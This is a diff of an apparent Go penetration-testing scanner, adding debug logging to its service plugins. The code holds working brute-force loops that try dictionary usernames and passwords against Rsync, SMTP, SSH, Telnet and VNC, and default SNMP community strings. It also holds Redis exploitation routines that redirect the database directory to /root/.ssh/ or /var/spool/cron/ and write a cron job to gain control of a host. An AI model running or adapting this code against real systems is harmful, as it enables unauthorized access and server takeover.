-			_, err = conn.Write([]byte(cronCmd))
-			if err != nil {
+			if _, err = conn.Write([]byte(cronCmd)); err != nil {
+				Common.LogDebug(fmt.Sprintf("写入定时任务失败: %v", err))
 				return flag, text, err
 			}
-			text, err = readreply(conn)
-			if err != nil {
+			if text, err = readreply(conn); err != nil {
+				Common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
 				return flag, text, err
 			}
 
 			// 保存更改
 			if strings.Contains(text, "OK") {
-				_, err = conn.Write([]byte("save\r\n"))
-				if err != nil {
+				Common.LogDebug("保存更改")
+				if _, err = conn.Write([]byte("save\r\n")); err != nil {
+					Common.LogDebug(fmt.Sprintf("保存失败: %v", err))
 					return flag, text, err
 				}
-				text, err = readreply(conn)
-				if err != nil {
+				if text, err = readreply(conn); err != nil {
+					Common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
 					return flag, text, err
 				}
 				if strings.Contains(text, "OK") {
+					Common.LogDebug("定时任务写入成功")
 					flag = true
 				}
 			}
@@ -452,14 +495,17 @@ func writecron(conn net.Conn, host string) (flag bool, text string, err error) {
 	if len(text) > 50 {
 		text = text[:50]
 	}
-
+	Common.LogDebug(fmt.Sprintf("写入定时任务完成, 状态: %v, 响应: %s", flag, text))
 	return flag, text, err
 }
 
 // Readfile 读取文件内容并返回第一个非空行
 func Readfile(filename string) (string, error) {
+	Common.LogDebug(fmt.Sprintf("读取文件: %s", filename))
+
 	file, err := os.Open(filename)
 	if err != nil {
+		Common.LogDebug(fmt.Sprintf("打开文件失败: %v", err))
 		return "", err
 	}
 	defer file.Close()
@@ -468,82 +514,89 @@ func Readfile(filename string) (string, error) {
 	for scanner.Scan() {
 		text := strings.TrimSpace(scanner.Text())
 		if text != "" {
+			Common.LogDebug("找到非空行")
 			return text, nil
 		}
 	}
+	Common.LogDebug("文件内容为空")
 	return "", err
 }
 
 // readreply 读取Redis服务器响应
 func readreply(conn net.Conn) (string, error) {
+	Common.LogDebug("读取Redis响应")
 	// 设置1秒读取超时
 	conn.SetReadDeadline(time.Now().Add(time.Second))
 
 	bytes, err := io.ReadAll(conn)
-	// 如果读取到内容则不返回错误
 	if len(bytes) > 0 {
+		Common.LogDebug(fmt.Sprintf("收到响应，长度: %d", len(bytes)))
 		err = nil
+	} else {
+		Common.LogDebug("未收到响应数据")
 	}
 	return string(bytes), err
 }
 
 // testwrite 测试Redis写入权限
 func testwrite(conn net.Conn) (flag bool, flagCron bool, err error) {
-	fmt.Println("开始测试Redis写入权限...")
+	Common.LogDebug("开始测试Redis写入权限")
 
 	// 测试SSH目录写入权限
-	fmt.Println("正在测试 /root/.ssh/ 目录写入权限...")
-	_, err = conn.Write([]byte("CONFIG SET dir /root/.ssh/\r\n"))
-	if err != nil {
-		fmt.Printf("发送SSH目录测试命令失败: %v\n", err)
+	Common.LogDebug("测试 /root/.ssh/ 目录写入权限")
+	if _, err = conn.Write([]byte("CONFIG SET dir /root/.ssh/\r\n")); err != nil {
+		Common.LogDebug(fmt.Sprintf("发送SSH目录测试命令失败: %v", err))
 		return flag, flagCron, err
 	}
 	text, err := readreply(conn)
 	if err != nil {
-		fmt.Printf("读取SSH目录测试响应失败: %v\n", err)
+		Common.LogDebug(fmt.Sprintf("读取SSH目录测试响应失败: %v", err))
 		return flag, flagCron, err
 	}
-	fmt.Printf("SSH目录测试响应: %s\n", text)
+	Common.LogDebug(fmt.Sprintf("SSH目录测试响应: %s", text))
 	if strings.Contains(text, "OK") {
 		flag = true
-		fmt.Println("SSH目录写入权限测试成功")
+		Common.LogDebug("SSH目录可写")
 	} else {
-		fmt.Println("SSH目录写入权限测试失败")
+		Common.LogDebug("SSH目录不可写")
 	}
 
 	// 测试定时任务目录写入权限
-	fmt.Println("正在测试 /var/spool/cron/ 目录写入权限...")
-	_, err = conn.Write([]byte("CONFIG SET dir /var/spool/cron/\r\n"))
-	if err != nil {
-		fmt.Printf("发送定时任务目录测试命令失败: %v\n", err)
+	Common.LogDebug("测试 /var/spool/cron/ 目录写入权限")
+	if _, err = conn.Write([]byte("CONFIG SET dir /var/spool/cron/\r\n")); err != nil {
+		Common.LogDebug(fmt.Sprintf("发送定时任务目录测试命令失败: %v", err))
 		return flag, flagCron, err
 	}
 	text, err = readreply(conn)
 	if err != nil {
-		fmt.Printf("读取定时任务目录测试响应失败: %v\n", err)
+		Common.LogDebug(fmt.Sprintf("读取定时任务目录测试响应失败: %v", err))
 		return flag, flagCron, err
 	}
-	fmt.Printf("定时任务目录测试响应: %s\n", text)
+	Common.LogDebug(fmt.Sprintf("定时任务目录测试响应: %s", text))
 	if strings.Contains(text, "OK") {
 		flagCron = true
-		fmt.Println("定时任务目录写入权限测试成功")
+		Common.LogDebug("定时任务目录可写")
 	} else {
-		fmt.Println("定时任务目录写入权限测试失败")
+		Common.LogDebug("定时任务目录不可写")
 	}
 
-	fmt.Printf("写入权限测试完成 - SSH权限: %v, Cron权限: %v\n", flag, flagCron)
+	Common.LogDebug(fmt.Sprintf("写入权限测试完成 - SSH权限: %v, Cron权限: %v", flag, flagCron))
 	return flag, flagCron, err
 }
 
 // getconfig 获取Redis配置信息
 func getconfig(conn net.Conn) (dbfilename string, dir string, err error) {
+	Common.LogDebug("开始获取Redis配置信息")
+
 	// 获取数据库文件名
-	_, err = conn.Write([]byte("CONFIG GET dbfilename\r\n"))
-	if err != nil {
+	Common.LogDebug("获取数据库文件名")
+	if _, err = conn.Write([]byte("CONFIG GET dbfilename\r\n")); err != nil {
+		Common.LogDebug(fmt.Sprintf("获取数据库文件名失败: %v", err))
 		return
 	}
 	text, err := readreply(conn)
 	if err != nil {
+		Common.LogDebug(fmt.Sprintf("读取数据库文件名响应失败: %v", err))
 		return
 	}
 
@@ -554,14 +607,17 @@ func getconfig(conn net.Conn) (dbfilename string, dir string, err error) {
 	} else {
 		dbfilename = text1[0]
 	}
+	Common.LogDebug(fmt.Sprintf("数据库文件名: %s", dbfilename))
 
 	// 获取数据库目录
-	_, err = conn.Write([]byte("CONFIG GET dir\r\n"))
-	if err != nil {
+	Common.LogDebug("获取数据库目录")
+	if _, err = conn.Write([]byte("CONFIG GET dir\r\n")); err != nil {
+		Common.LogDebug(fmt.Sprintf("获取数据库目录失败: %v", err))
 		return
 	}
 	text, err = readreply(conn)
 	if err != nil {
+		Common.LogDebug(fmt.Sprintf("读取数据库目录响应失败: %v", err))
 		return
 	}
 
@@ -572,31 +628,37 @@ func getconfig(conn net.Conn) (dbfilename string, dir string, err error) {
 	} else {
 		dir = text1[0]
 	}
+	Common.LogDebug(fmt.Sprintf("数据库目录: %s", dir))
 
 	return
 }
 
 // recoverdb 恢复Redis数据库配置
 func recoverdb(dbfilename string, dir string, conn net.Conn) (err error) {
+	Common.LogDebug("开始恢复Redis数据库配置")
+
 	// 恢复数据库文件名
-	_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename %s\r\n", dbfilename)))
-	if err != nil {
+	Common.LogDebug(fmt.Sprintf("恢复数据库文件名: %s", dbfilename))
+	if _, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename %s\r\n", dbfilename))); err != nil {
+		Common.LogDebug(fmt.Sprintf("恢复数据库文件名失败: %v", err))
 		return
 	}
-	_, err = readreply(conn)
-	if err != nil {
+	if _, err = readreply(conn); err != nil {
+		Common.LogDebug(fmt.Sprintf("读取恢复文件名响应失败: %v", err))
 		return
 	}
 
 	// 恢复数据库目录
-	_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir %s\r\n", dir)))
-	if err != nil {
+	Common.LogDebug(fmt.Sprintf("恢复数据库目录: %s", dir))
+	if _, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir %s\r\n", dir))); err != nil {
+		Common.LogDebug(fmt.Sprintf("恢复数据库目录失败: %v", err))
 		return
 	}
-	_, err = readreply(conn)
-	if err != nil {
+	if _, err = readreply(conn); err != nil {
+		Common.LogDebug(fmt.Sprintf("读取恢复目录响应失败: %v", err))
 		return
 	}
 
+	Common.LogDebug("数据库配置恢复完成")
 	return
 }

Plugins/Rsync.go

@@ -16,14 +16,25 @@ func RsyncScan(info *Common.HostInfo) (tmperr error) {
 
 	maxRetries := Common.MaxRetries
 
+	Common.LogDebug(fmt.Sprintf("开始扫描 %v:%v", info.Host, info.Ports))
+	Common.LogDebug("尝试匿名访问...")
+
 	// 首先测试匿名访问
 	for retryCount := 0; retryCount < maxRetries; retryCount++ {
+		if retryCount > 0 {
+			Common.LogDebug(fmt.Sprintf("第%d次重试匿名访问", retryCount+1))
+		}
+
 		flag, err := RsyncConn(info, "", "")
 		if flag && err == nil {
+			Common.LogSuccess(fmt.Sprintf("Rsync服务 %v:%v 匿名访问成功", info.Host, info.Ports))
 			return err
 		}
 
 		if err != nil {
+			errlog := fmt.Sprintf("Rsync服务 %v:%v 匿名访问失败: %v", info.Host, info.Ports, err)
+			Common.LogError(errlog)
+
 			if retryErr := Common.CheckErrs(err); retryErr != nil {
 				if retryCount == maxRetries-1 {
 					return err
@@ -34,32 +45,41 @@ func RsyncScan(info *Common.HostInfo) (tmperr error) {
 		break
 	}
 
-	starttime := time.Now().Unix()
+	totalUsers := len(Common.Userdict["rsync"])
+	totalPass := len(Common.Passwords)
+	Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d)", totalUsers, totalPass))
+
+	tried := 0
+	total := totalUsers * totalPass
 
 	// 遍历所有用户名密码组合
 	for _, user := range Common.Userdict["rsync"] {
 		for _, pass := range Common.Passwords {
+			tried++
 			pass = strings.Replace(pass, "{user}", user, -1)
-
-			// 检查是否超时
-			if time.Now().Unix()-starttime > int64(Common.Timeout) {
-				return fmt.Errorf("扫描超时")
-			}
+			Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", tried, total, user, pass))
 
 			// 重试循环
 			for retryCount := 0; retryCount < maxRetries; retryCount++ {
+				if retryCount > 0 {
+					Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retryCount+1, user, pass))
+				}
+
 				// 执行Rsync连接
 				done := make(chan struct {
 					success bool
 					err     error
-				})
+				}, 1)
 
 				go func(user, pass string) {
 					flag, err := RsyncConn(info, user, pass)
-					done <- struct {
+					select {
+					case done <- struct {
 						success bool
 						err     error
-					}{flag && err == nil, err}
+					}{flag && err == nil, err}:
+					default:
+					}
 				}(user, pass)
 
 				// 等待结果或超时
@@ -68,6 +88,9 @@ func RsyncScan(info *Common.HostInfo) (tmperr error) {
 				case result := <-done:
 					err = result.err
 					if result.success {
+						successLog := fmt.Sprintf("Rsync服务 %v:%v 爆破成功 用户名: %v 密码: %v",
+							info.Host, info.Ports, user, pass)
+						Common.LogSuccess(successLog)
 						return nil
 					}
 				case <-time.After(time.Duration(Common.Timeout) * time.Second):
@@ -83,7 +106,7 @@ func RsyncScan(info *Common.HostInfo) (tmperr error) {
 					// 检查是否需要重试
 					if retryErr := Common.CheckErrs(err); retryErr != nil {
 						if retryCount == maxRetries-1 {
-							return err
+							continue
 						}
 						continue // 继续重试
 					}
@@ -94,6 +117,7 @@ func RsyncScan(info *Common.HostInfo) (tmperr error) {
 		}
 	}
 
+	Common.LogDebug(fmt.Sprintf("扫描完成，共尝试 %d 个组合", tried))
 	return tmperr
 }
 

Plugins/SMTP.go

@@ -17,13 +17,20 @@ func SmtpScan(info *Common.HostInfo) (tmperr error) {
 
 	maxRetries := Common.MaxRetries
 
+	Common.LogDebug(fmt.Sprintf("开始扫描 %v:%v", info.Host, info.Ports))
+	Common.LogDebug("尝试匿名访问...")
+
 	// 先测试匿名访问
 	for retryCount := 0; retryCount < maxRetries; retryCount++ {
 		flag, err := SmtpConn(info, "", "")
 		if flag && err == nil {
+			Common.LogSuccess("匿名访问成功!")
 			return err
 		}
 		if err != nil {
+			errlog := fmt.Sprintf("smtp %v:%v anonymous %v", info.Host, info.Ports, err)
+			Common.LogError(errlog)
+
 			if retryErr := Common.CheckErrs(err); retryErr != nil {
 				if retryCount == maxRetries-1 {
 					return err
@@ -34,32 +41,41 @@ func SmtpScan(info *Common.HostInfo) (tmperr error) {
 		break
 	}
 
-	starttime := time.Now().Unix()
+	totalUsers := len(Common.Userdict["smtp"])
+	totalPass := len(Common.Passwords)
+	Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d)", totalUsers, totalPass))
+
+	tried := 0
+	total := totalUsers * totalPass
 
 	// 遍历所有用户名密码组合
 	for _, user := range Common.Userdict["smtp"] {
 		for _, pass := range Common.Passwords {
+			tried++
 			pass = strings.Replace(pass, "{user}", user, -1)
-
-			// 检查是否超时
-			if time.Now().Unix()-starttime > int64(Common.Timeout) {
-				return fmt.Errorf("扫描超时")
-			}
+			Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", tried, total, user, pass))
 
 			// 重试循环
 			for retryCount := 0; retryCount < maxRetries; retryCount++ {
+				if retryCount > 0 {
+					Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retryCount+1, user, pass))
+				}
+
 				// 执行SMTP连接
 				done := make(chan struct {
 					success bool
 					err     error
-				})
+				}, 1)
 
 				go func(user, pass string) {
 					flag, err := SmtpConn(info, user, pass)
-					done <- struct {
+					select {
+					case done <- struct {
 						success bool
 						err     error
-					}{flag, err}
+					}{flag, err}:
+					default:
+					}
 				}(user, pass)
 
 				// 等待结果或超时
@@ -83,7 +99,7 @@ func SmtpScan(info *Common.HostInfo) (tmperr error) {
 					// 检查是否需要重试
 					if retryErr := Common.CheckErrs(err); retryErr != nil {
 						if retryCount == maxRetries-1 {
-							return err
+							continue
 						}
 						continue // 继续重试
 					}
@@ -94,6 +110,7 @@ func SmtpScan(info *Common.HostInfo) (tmperr error) {
 		}
 	}
 
+	Common.LogDebug(fmt.Sprintf("扫描完成，共尝试 %d 个组合", tried))
 	return tmperr
 }
 

Plugins/SNMP.go

@@ -18,30 +18,40 @@ func SNMPScan(info *Common.HostInfo) (tmperr error) {
 	maxRetries := Common.MaxRetries
 	portNum, _ := strconv.Atoi(info.Ports)
 	defaultCommunities := []string{"public", "private", "cisco", "community"}
-	starttime := time.Now().Unix()
 	timeout := time.Duration(Common.Timeout) * time.Second
 
+	Common.LogDebug(fmt.Sprintf("开始扫描 %v:%v", info.Host, info.Ports))
+	Common.LogDebug(fmt.Sprintf("尝试默认 community 列表 (总数: %d)", len(defaultCommunities)))
+
+	tried := 0
+	total := len(defaultCommunities)
+
 	// 遍历所有 community
 	for _, community := range defaultCommunities {
-		// 检查是否超时
-		if time.Now().Unix()-starttime > int64(timeout.Seconds()) {
-			return fmt.Errorf("扫描超时")
-		}
+		tried++
+		Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试 community: %s", tried, total, community))
 
 		// 重试循环
 		for retryCount := 0; retryCount < maxRetries; retryCount++ {
+			if retryCount > 0 {
+				Common.LogDebug(fmt.Sprintf("第%d次重试: community: %s", retryCount+1, community))
+			}
+
 			// 执行SNMP连接
 			done := make(chan struct {
 				success bool
 				err     error
-			})
+			}, 1)
 
 			go func(community string) {
 				success, err := SNMPConnect(info, community, portNum)
-				done <- struct {
+				select {
+				case done <- struct {
 					success bool
 					err     error
-				}{success, err}
+				}{success, err}:
+				default:
+				}
 			}(community)
 
 			// 等待结果或超时
@@ -69,7 +79,7 @@ func SNMPScan(info *Common.HostInfo) (tmperr error) {
 				// 检查是否需要重试
 				if retryErr := Common.CheckErrs(err); retryErr != nil {
 					if retryCount == maxRetries-1 {
-						return err
+						continue
 					}
 					continue // 继续重试
 				}
@@ -79,6 +89,7 @@ func SNMPScan(info *Common.HostInfo) (tmperr error) {
 		}
 	}
 
+	Common.LogDebug(fmt.Sprintf("扫描完成，共尝试 %d 个 community", tried))
 	return tmperr
 }
 

Plugins/SSH.go

@@ -18,13 +18,27 @@ func SshScan(info *Common.HostInfo) (tmperr error) {
 
 	maxRetries := Common.MaxRetries
 
+	Common.LogDebug(fmt.Sprintf("开始扫描 %v:%v", info.Host, info.Ports))
+	totalUsers := len(Common.Userdict["ssh"])
+	totalPass := len(Common.Passwords)
+	Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d)", totalUsers, totalPass))
+
+	tried := 0
+	total := totalUsers * totalPass
+
 	// 遍历所有用户名密码组合
 	for _, user := range Common.Userdict["ssh"] {
 		for _, pass := range Common.Passwords {
+			tried++
 			pass = strings.Replace(pass, "{user}", user, -1)
+			Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", tried, total, user, pass))
 
 			// 重试循环
 			for retryCount := 0; retryCount < maxRetries; retryCount++ {
+				if retryCount > 0 {
+					Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retryCount+1, user, pass))
+				}
+
 				ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.Timeout)*time.Second)
 				done := make(chan struct {
 					success bool
@@ -74,6 +88,7 @@ func SshScan(info *Common.HostInfo) (tmperr error) {
 				}
 
 				if Common.SshKeyPath != "" {
+					Common.LogDebug("检测到SSH密钥路径，停止密码尝试")
 					return err
 				}
 
@@ -82,6 +97,7 @@ func SshScan(info *Common.HostInfo) (tmperr error) {
 		}
 	}
 
+	Common.LogDebug(fmt.Sprintf("扫描完成，共尝试 %d 个组合", tried))
 	return tmperr
 }
 

Plugins/Telnet.go

@@ -18,34 +18,45 @@ func TelnetScan(info *Common.HostInfo) (tmperr error) {
 	}
 
 	maxRetries := Common.MaxRetries
-	starttime := time.Now().Unix()
+
+	Common.LogDebug(fmt.Sprintf("开始扫描 %v:%v", info.Host, info.Ports))
+	totalUsers := len(Common.Userdict["telnet"])
+	totalPass := len(Common.Passwords)
+	Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d)", totalUsers, totalPass))
+
+	tried := 0
+	total := totalUsers * totalPass
 
 	// 遍历所有用户名密码组合
 	for _, user := range Common.Userdict["telnet"] {
 		for _, pass := range Common.Passwords {
+			tried++
 			pass = strings.Replace(pass, "{user}", user, -1)
-
-			// 检查是否超时
-			if time.Now().Unix()-starttime > int64(Common.Timeout) {
-				return fmt.Errorf("扫描超时")
-			}
+			Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", tried, total, user, pass))
 
 			// 重试循环
 			for retryCount := 0; retryCount < maxRetries; retryCount++ {
+				if retryCount > 0 {
+					Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retryCount+1, user, pass))
+				}
+
 				// 执行Telnet连接
 				done := make(chan struct {
 					success bool
 					noAuth  bool
 					err     error
-				})
+				}, 1)
 
 				go func(user, pass string) {
 					flag, err := telnetConn(info, user, pass)
-					done <- struct {
+					select {
+					case done <- struct {
 						success bool
 						noAuth  bool
 						err     error
-					}{err == nil, flag, err}
+					}{err == nil, flag, err}:
+					default:
+					}
 				}(user, pass)
 
 				// 等待结果或超时
@@ -79,17 +90,17 @@ func TelnetScan(info *Common.HostInfo) (tmperr error) {
 					// 检查是否需要重试
 					if retryErr := Common.CheckErrs(err); retryErr != nil {
 						if retryCount == maxRetries-1 {
-							return err
+							continue
 						}
 						continue // 继续重试
 					}
 				}
-
 				break // 如果不需要重试，跳出重试循环
 			}
 		}
 	}
 
+	Common.LogDebug(fmt.Sprintf("扫描完成，共尝试 %d 个组合", tried))
 	return tmperr
 }
 

Plugins/VNC.go

@@ -8,7 +8,6 @@ import (
 	"time"
 )
 
-// VncScan 执行VNC服务扫描及密码尝试
 func VncScan(info *Common.HostInfo) (tmperr error) {
 	if Common.DisableBrute {
 		return
@@ -16,29 +15,39 @@ func VncScan(info *Common.HostInfo) (tmperr error) {
 
 	maxRetries := Common.MaxRetries
 	modename := "vnc"
-	starttime := time.Now().Unix()
+
+	Common.LogDebug(fmt.Sprintf("开始扫描 %v:%v", info.Host, info.Ports))
+	totalPass := len(Common.Passwords)
+	Common.LogDebug(fmt.Sprintf("开始尝试密码组合 (总密码数: %d)", totalPass))
+
+	tried := 0
 
 	// 遍历所有密码
 	for _, pass := range Common.Passwords {
-		// 检查是否超时
-		if time.Now().Unix()-starttime > int64(Common.Timeout) {
-			return fmt.Errorf("扫描超时")
-		}
+		tried++
+		Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试密码: %s", tried, totalPass, pass))
 
 		// 重试循环
 		for retryCount := 0; retryCount < maxRetries; retryCount++ {
+			if retryCount > 0 {
+				Common.LogDebug(fmt.Sprintf("第%d次重试密码: %s", retryCount+1, pass))
+			}
+
 			// 执行VNC连接
 			done := make(chan struct {
 				success bool
 				err     error
-			})
+			}, 1)
 
 			go func(pass string) {
 				success, err := VncConn(info, pass)
-				done <- struct {
+				select {
+				case done <- struct {
 					success bool
 					err     error
-				}{success, err}
+				}{success, err}:
+				default:
+				}
 			}(pass)
 
 			// 等待结果或超时
@@ -66,16 +75,16 @@ func VncScan(info *Common.HostInfo) (tmperr error) {
 				// 检查是否是需要重试的错误
 				if retryErr := Common.CheckErrs(err); retryErr != nil {
 					if retryCount == maxRetries-1 {
-						return err
+						continue
 					}
 					continue // 继续重试
 				}
 			}
-
 			break // 如果不需要重试，跳出重试循环
 		}
 	}
 
+	Common.LogDebug(fmt.Sprintf("扫描完成，共尝试 %d 个密码", tried))
 	return tmperr
 }